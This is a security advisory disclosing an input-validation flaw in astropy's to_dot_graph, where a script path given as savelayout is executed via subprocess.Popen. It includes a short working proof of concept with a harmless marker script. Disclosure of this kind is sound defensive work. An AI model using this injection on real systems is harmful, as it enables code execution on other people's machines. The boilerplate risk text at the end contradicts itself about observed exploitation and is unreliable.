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GHSA-h2x6-5jx5-46hf
No affected components available
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>
$ cat /tmp/poc.txt
astrorce
Impact
code execution on the user's machine
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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